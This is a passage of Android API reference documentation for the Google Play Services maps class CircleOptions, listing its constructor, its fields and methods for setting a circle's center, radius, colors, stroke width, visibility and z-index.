<!-- /Expanded quicknav -->
</div>
</div>
<!-- /Header -->
<div id="searchResults" class="wrap" style="display:none;">
<h2 id="searchTitle">Results</h2>
<div id="leftSearchControl" class="search-control">Loading...</div>
</div>
<!-- Secondary x-nav -->
<div id="nav-x">
<div class="wrap">
<ul class="nav-x col-9 develop" style="width:100%">
<li class="training"><a href="../../../../../../../training/index.html"
zh-tw-lang="訓練課程"
zh-cn-lang="培训"
ru-lang="Курсы"
ko-lang="교육"
ja-lang="トレーニング"
es-lang="Capacitación"
>Training</a></li>
<li class="guide"><a href="../../../../../../../guide/index.html"
zh-tw-lang="API 指南"
zh-cn-lang="API 指南"
ru-lang="Руководства по API"
ko-lang="API 가이드"
ja-lang="API ガイド"
es-lang="Guías de la API"
>API Guides</a></li>
<li class="reference"><a href="../../../../../../../reference/packages.html"
zh-tw-lang="參考資源"
zh-cn-lang="参考"
ru-lang="Справочник"
ko-lang="참조문서"
ja-lang="リファレンス"
es-lang="Referencia"
>Reference</a></li>
<li class="tools"><a href="../../../../../../../tools/index.html"
zh-tw-lang="相關工具"
zh-cn-lang="工具"
ru-lang="Инструменты"
ko-lang="도구"
ja-lang="ツール"
es-lang="Herramientas"
>Tools</a></li>
<li class="google"><a href="../../../../../../../google/index.html"
>Google Services</a>
</li>
</ul>
</div>
</div>
<!-- /Sendondary x-nav -->
<div class="wrap clearfix" id="body-content">
<div class="col-4" id="side-nav" itemscope itemtype="http://schema.org/SiteNavigationElement">
<div id="devdoc-nav">
<a class="totop" href="#top" data-g-event="left-nav-top">to top</a>
<div id="api-nav-header">
<div id="api-level-toggle">
<label for="apiLevelCheckbox" class="disabled"
title="Select your target API level to dim unavailable APIs">API level: </label>
<div class="select-wrapper">
<select id="apiLevelSelector">
<!-- option elements added by buildApiLevelSelector() -->
</select>
</div>
</div><!-- end toggle -->
<div id="api-nav-title">Android APIs</div>
</div><!-- end nav header -->
<script>
var SINCE_DATA = [ ];
buildApiLevelSelector();
</script>
<div id="swapper">
<div id="nav-panels">
<div id="resize-packages-nav">
<div id="packages-nav" class="scroll-pane">
<ul>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/package-summary.html">com.google.android.gms</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/ads/package-summary.html">com.google.android.gms.ads</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/ads/doubleclick/package-summary.html">com.google.android.gms.ads.doubleclick</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/ads/identifier/package-summary.html">com.google.android.gms.ads.identifier</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/ads/mediation/package-summary.html">com.google.android.gms.ads.mediation</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/ads/mediation/admob/package-summary.html">com.google.android.gms.ads.mediation.admob</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/ads/mediation/customevent/package-summary.html">com.google.android.gms.ads.mediation.customevent</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/ads/search/package-summary.html">com.google.android.gms.ads.search</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/analytics/package-summary.html">com.google.android.gms.analytics</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/appstate/package-summary.html">com.google.android.gms.appstate</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/auth/package-summary.html">com.google.android.gms.auth</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/cast/package-summary.html">com.google.android.gms.cast</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/common/package-summary.html">com.google.android.gms.common</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/common/annotation/package-summary.html">com.google.android.gms.common.annotation</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/common/api/package-summary.html">com.google.android.gms.common.api</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/common/data/package-summary.html">com.google.android.gms.common.data</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/common/images/package-summary.html">com.google.android.gms.common.images</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/drive/package-summary.html">com.google.android.gms.drive</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/drive/events/package-summary.html">com.google.android.gms.drive.events</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/drive/metadata/package-summary.html">com.google.android.gms.drive.metadata</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/drive/query/package-summary.html">com.google.android.gms.drive.query</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/drive/widget/package-summary.html">com.google.android.gms.drive.widget</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/games/package-summary.html">com.google.android.gms.games</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/games/achievement/package-summary.html">com.google.android.gms.games.achievement</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/games/leaderboard/package-summary.html">com.google.android.gms.games.leaderboard</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/games/multiplayer/package-summary.html">com.google.android.gms.games.multiplayer</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/games/multiplayer/realtime/package-summary.html">com.google.android.gms.games.multiplayer.realtime</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/games/multiplayer/turnbased/package-summary.html">com.google.android.gms.games.multiplayer.turnbased</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/games/request/package-summary.html">com.google.android.gms.games.request</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/gcm/package-summary.html">com.google.android.gms.gcm</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/identity/intents/package-summary.html">com.google.android.gms.identity.intents</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/identity/intents/model/package-summary.html">com.google.android.gms.identity.intents.model</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/location/package-summary.html">com.google.android.gms.location</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/maps/package-summary.html">com.google.android.gms.maps</a></li>
<li class="selected api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/maps/model/package-summary.html">com.google.android.gms.maps.model</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/panorama/package-summary.html">com.google.android.gms.panorama</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/plus/package-summary.html">com.google.android.gms.plus</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/plus/model/moments/package-summary.html">com.google.android.gms.plus.model.moments</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/plus/model/people/package-summary.html">com.google.android.gms.plus.model.people</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/tagmanager/package-summary.html">com.google.android.gms.tagmanager</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/wallet/package-summary.html">com.google.android.gms.wallet</a></li>
</ul><br/>
</div> <!-- end packages-nav -->
</div> <!-- end resize-packages -->
<div id="classes-nav" class="scroll-pane">
<ul>
<li><h2>Interfaces</h2>
<ul>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/TileProvider.html">TileProvider</a></li>
</ul>
</li>
<li><h2>Classes</h2>
<ul>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/BitmapDescriptor.html">BitmapDescriptor</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/BitmapDescriptorFactory.html">BitmapDescriptorFactory</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CameraPosition.html">CameraPosition</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CameraPosition.Builder.html">CameraPosition.Builder</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/Circle.html">Circle</a></li>
<li class="selected api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/GroundOverlay.html">GroundOverlay</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/GroundOverlayOptions.html">GroundOverlayOptions</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLngBounds.html">LatLngBounds</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLngBounds.Builder.html">LatLngBounds.Builder</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/Marker.html">Marker</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/MarkerOptions.html">MarkerOptions</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/Polygon.html">Polygon</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/PolygonOptions.html">PolygonOptions</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/Polyline.html">Polyline</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/PolylineOptions.html">PolylineOptions</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/Tile.html">Tile</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/TileOverlay.html">TileOverlay</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/TileOverlayOptions.html">TileOverlayOptions</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/UrlTileProvider.html">UrlTileProvider</a></li>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/VisibleRegion.html">VisibleRegion</a></li>
</ul>
</li>
<li><h2>Exceptions</h2>
<ul>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/RuntimeRemoteException.html">RuntimeRemoteException</a></li>
</ul>
</li>
</ul><br/>
</div><!-- end classes -->
</div><!-- end nav-panels -->
<div id="nav-tree" style="display:none" class="scroll-pane">
<div id="tree-list"></div>
</div><!-- end nav-tree -->
</div><!-- end swapper -->
<div id="nav-swap">
<a class="fullscreen">fullscreen</a>
<a href='#' onclick='swapNav();return false;'><span id='tree-link'>Use Tree Navigation</span><span id='panel-link' style='display:none'>Use Panel Navigation</span></a>
</div>
</div> <!-- end devdoc-nav -->
</div> <!-- end side-nav -->
<script type="text/javascript">
// init fullscreen based on user pref
var fullscreen = readCookie("fullscreen");
if (fullscreen != 0) {
if (fullscreen == "false") {
toggleFullscreen(false);
} else {
toggleFullscreen(true);
}
}
// init nav version for mobile
if (isMobile) {
swapNav(); // tree view should be used on mobile
$('#nav-swap').hide();
} else {
chooseDefaultNav();
if ($("#nav-tree").is(':visible')) {
init_default_navtree("../../../../../../../");
}
}
// scroll the selected page into view
$(document).ready(function() {
scrollIntoView("packages-nav");
scrollIntoView("classes-nav");
});
</script>
<div class="col-12" id="doc-col">
<div id="api-info-block">
<div class="sum-details-links">
Summary:
<a href="#inhconstants">Inherited Constants</a>
| <a href="#lfields">Fields</a>
| <a href="#pubctors">Ctors</a>
| <a href="#pubmethods">Methods</a>
| <a href="#inhmethods">Inherited Methods</a>
| <a href="#" onclick="return toggleAllClassInherited()" id="toggleAllClassInherited">[Expand All]</a>
</div><!-- end sum-details-links -->
<div class="api-level">
</div>
</div><!-- end api-info-block -->
<!-- ======== START OF CLASS DATA ======== -->
<div id="jd-header">
public
final
class
<h1 itemprop="name">CircleOptions</h1>
extends <a href="http://developer.android.com/reference/java/lang/Object.html">Object</a><br/>
implements
<a href="http://developer.android.com/reference/android/os/Parcelable.html">Parcelable</a>
</div><!-- end header -->
<div id="naMessage"></div>
<div id="jd-content" class="api apilevel-">
<table class="jd-inheritance-table">
<tr>
<td colspan="2" class="jd-inheritance-class-cell"><a href="http://developer.android.com/reference/java/lang/Object.html">java.lang.Object</a></td>
</tr>
<tr>
<td class="jd-inheritance-space"> ↳</td>
<td colspan="1" class="jd-inheritance-class-cell">com.google.android.gms.maps.model.CircleOptions</td>
</tr>
</table>
<div class="jd-descr">
<h2>Class Overview</h2>
<p itemprop="articleBody">Defines options for a <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/Circle.html">Circle</a></code>.
<h3>Developer Guide</h3>
<p>
For more information, read the <a
href="https://developers.google.com/maps/documentation/android/shapes">Shapes</a>
developer guide.
</p>
</div><!-- jd-descr -->
<div class="jd-descr">
<h2>Summary</h2>
<!-- =========== ENUM CONSTANT SUMMARY =========== -->
<table id="inhconstants" class="jd-sumtable"><tr><th>
<a href="#" class="toggle-all" onclick="return toggleAllInherited(this, null)">[Expand]</a>
<div style="clear:left;">Inherited Constants</div></th></tr>
<tr class="api apilevel-" >
<td colspan="12">
<a href="#" onclick="return toggleInherited(this, null)" id="inherited-constants-android.os.Parcelable" class="jd-expando-trigger closed"
><img id="inherited-constants-android.os.Parcelable-trigger"
src="../../../../../../../assets/images/triangle-closed.png"
class="jd-expando-trigger-img" /></a>From interface
android.os.Parcelable
<div id="inherited-constants-android.os.Parcelable">
<div id="inherited-constants-android.os.Parcelable-list"
class="jd-inheritedlinks">
</div>
<div id="inherited-constants-android.os.Parcelable-summary" style="display: none;">
<table class="jd-sumtable-expando">
<tr class="alt-color api apilevel-" >
<td class="jd-typecol">int</td>
<td class="jd-linkcol">CONTENTS_FILE_DESCRIPTOR</td>
<td class="jd-descrcol" width="100%"></td>
</tr>
<tr class=" api apilevel-" >
<td class="jd-typecol">int</td>
<td class="jd-linkcol">PARCELABLE_WRITE_RETURN_VALUE</td>
<td class="jd-descrcol" width="100%"></td>
</tr>
</table>
</div>
</div>
</td></tr>
</table>
<!-- =========== FIELD SUMMARY =========== -->
<table id="lfields" class="jd-sumtable"><tr><th colspan="12">Fields</th></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
public
static
final
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptionsCreator.html">CircleOptionsCreator</a></nobr></td>
<td class="jd-linkcol"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#CREATOR">CREATOR</a></td>
<td class="jd-descrcol" width="100%"></td>
</tr>
</table>
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<table id="pubctors" class="jd-sumtable"><tr><th colspan="12">Public Constructors</th></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#CircleOptions()">CircleOptions</a></span>()</nobr>
<div class="jd-descrdiv">Creates circle options.</div>
</td></tr>
</table>
<!-- ========== METHOD SUMMARY =========== -->
<table id="pubmethods" class="jd-sumtable"><tr><th colspan="12">Public Methods</th></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#center(com.google.android.gms.maps.model.LatLng)">center</a></span>(<a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a> center)</nobr>
<div class="jd-descrdiv">Sets the center using a <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a></code>.</div>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#fillColor(int)">fillColor</a></span>(int color)</nobr>
<div class="jd-descrdiv">Sets the fill color.</div>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#getCenter()">getCenter</a></span>()</nobr>
<div class="jd-descrdiv">Returns the center as a <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a></code>.</div>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
int</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#getFillColor()">getFillColor</a></span>()</nobr>
<div class="jd-descrdiv">Returns the fill color.</div>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
double</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#getRadius()">getRadius</a></span>()</nobr>
<div class="jd-descrdiv">Returns the circle's radius, in meters.</div>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
int</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#getStrokeColor()">getStrokeColor</a></span>()</nobr>
<div class="jd-descrdiv">Returns the stroke color.</div>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
float</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#getStrokeWidth()">getStrokeWidth</a></span>()</nobr>
<div class="jd-descrdiv">Returns the stroke width.</div>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
float</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#getZIndex()">getZIndex</a></span>()</nobr>
<div class="jd-descrdiv">Returns the zIndex.</div>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
boolean</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#isVisible()">isVisible</a></span>()</nobr>
<div class="jd-descrdiv">Checks whether the circle is visible.</div>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#radius(double)">radius</a></span>(double radius)</nobr>
<div class="jd-descrdiv">Sets the radius in meters.</div>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#strokeColor(int)">strokeColor</a></span>(int color)</nobr>
<div class="jd-descrdiv">Sets the stroke color.</div>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#strokeWidth(float)">strokeWidth</a></span>(float width)</nobr>
<div class="jd-descrdiv">Sets the stroke width.</div>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#visible(boolean)">visible</a></span>(boolean visible)</nobr>
<div class="jd-descrdiv">Sets the visibility.</div>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html#zIndex(float)">zIndex</a></span>(float zIndex)</nobr>
<div class="jd-descrdiv">Sets the zIndex.</div>
</td></tr>
</table>
<!-- ========== METHOD SUMMARY =========== -->
<table id="inhmethods" class="jd-sumtable"><tr><th>
<a href="#" class="toggle-all" onclick="return toggleAllInherited(this, null)">[Expand]</a>
<div style="clear:left;">Inherited Methods</div></th></tr>
<tr class="api apilevel-" >
<td colspan="12">
<a href="#" onclick="return toggleInherited(this, null)" id="inherited-methods-java.lang.Object" class="jd-expando-trigger closed"
><img id="inherited-methods-java.lang.Object-trigger"
src="../../../../../../../assets/images/triangle-closed.png"
class="jd-expando-trigger-img" /></a>
From class
<a href="http://developer.android.com/reference/java/lang/Object.html">java.lang.Object</a>
<div id="inherited-methods-java.lang.Object">
<div id="inherited-methods-java.lang.Object-list"
class="jd-inheritedlinks">
</div>
<div id="inherited-methods-java.lang.Object-summary" style="display: none;">
<table class="jd-sumtable-expando">
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="http://developer.android.com/reference/java/lang/Object.html">Object</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">clone</span>()</nobr>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
boolean</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">equals</span>(<a href="http://developer.android.com/reference/java/lang/Object.html">Object</a> arg0)</nobr>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">finalize</span>()</nobr>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
final
<a href="http://developer.android.com/reference/java/lang/Class.html">Class</a><?></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">getClass</span>()</nobr>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
int</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">hashCode</span>()</nobr>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
final
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">notify</span>()</nobr>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
final
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">notifyAll</span>()</nobr>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
<a href="http://developer.android.com/reference/java/lang/String.html">String</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">toString</span>()</nobr>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
final
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">wait</span>()</nobr>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
final
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">wait</span>(long arg0, int arg1)</nobr>
</td></tr>
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
final
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">wait</span>(long arg0)</nobr>
</td></tr>
</table>
</div>
</div>
</td></tr>
<tr class="api apilevel-" >
<td colspan="12">
<a href="#" onclick="return toggleInherited(this, null)" id="inherited-methods-android.os.Parcelable" class="jd-expando-trigger closed"
><img id="inherited-methods-android.os.Parcelable-trigger"
src="../../../../../../../assets/images/triangle-closed.png"
class="jd-expando-trigger-img" /></a>
From interface
<a href="http://developer.android.com/reference/android/os/Parcelable.html">android.os.Parcelable</a>
<div id="inherited-methods-android.os.Parcelable">
<div id="inherited-methods-android.os.Parcelable-list"
class="jd-inheritedlinks">
</div>
<div id="inherited-methods-android.os.Parcelable-summary" style="display: none;">
<table class="jd-sumtable-expando">
<tr class="alt-color api apilevel-" >
<td class="jd-typecol"><nobr>
abstract
int</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">describeContents</span>()</nobr>
</td></tr>
<tr class=" api apilevel-" >
<td class="jd-typecol"><nobr>
abstract
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad">writeToParcel</span>(<a href="http://developer.android.com/reference/android/os/Parcel.html">Parcel</a> arg0, int arg1)</nobr>
</td></tr>
</table>
</div>
</div>
</td></tr>
</table>
</div><!-- jd-descr (summary) -->
<!-- Details -->
<!-- XML Attributes -->
<!-- Enum Values -->
<!-- Constants -->
<!-- Fields -->
<!-- ========= FIELD DETAIL ======== -->
<h2>Fields</h2>
<A NAME="CREATOR"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
static
final
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptionsCreator.html">CircleOptionsCreator</a>
</span>
CREATOR
</h4>
<div class="api-level">
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p></p></div>
</div>
</div>
<!-- Public ctors -->
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<h2>Public Constructors</h2>
<A NAME="CircleOptions()"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
</span>
<span class="sympad">CircleOptions</span>
<span class="normal">()</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Creates circle options.
</p></div>
</div>
</div>
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<!-- Protected ctors -->
<!-- ========= METHOD DETAIL ======== -->
<!-- Public methdos -->
<h2>Public Methods</h2>
<A NAME="center(com.google.android.gms.maps.model.LatLng)"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a>
</span>
<span class="sympad">center</span>
<span class="normal">(<a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a> center)</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Sets the center using a <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a></code>.
<p>The center must not be null.</p>
<p>This method is mandatory because there is no default center.</p></p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Parameters</h5>
<table class="jd-tagtable">
<tr>
<th>center</td>
<td>The geographic center as a <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a></code>.</td>
</tr>
</table>
</div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>this <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></code> object
</li></ul>
</div>
</div>
</div>
<A NAME="fillColor(int)"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
<a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a>
</span>
<span class="sympad">fillColor</span>
<span class="normal">(int color)</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Sets the fill color.
<p>The fill color is the color inside the circle, in the integer
format specified by <code><a href="../../../../../../../http://developer.android.com/reference/android/graphics/Color.html">Color</a></code>.
If TRANSPARENT is used then no fill is drawn.
<p>By default the fill color is transparent (<code>0x00000000</code>).</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Parameters</h5>
<table class="jd-tagtable">
<tr>
<th>color</td>
<td>color in the <code><a href="../../../../../../../http://developer.android.com/reference/android/graphics/Color.html">Color</a></code> format</td>
</tr>
</table>
</div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Returns</h5>
<ul class="nolist"><li>this <code><a href="../../../../../../../reference/com/google/android/gms/maps/model/CircleOptions.html">CircleOptions</a></code> object
</li></ul>
</div>
</div>
</div>
<A NAME="getCenter()"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
<a href="../../../../../../../reference/com/google/android/gms/maps/model/LatLng.html">LatLng</a>
</span>
<span class="sympad">getCenter</span>
<span class="normal">()</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
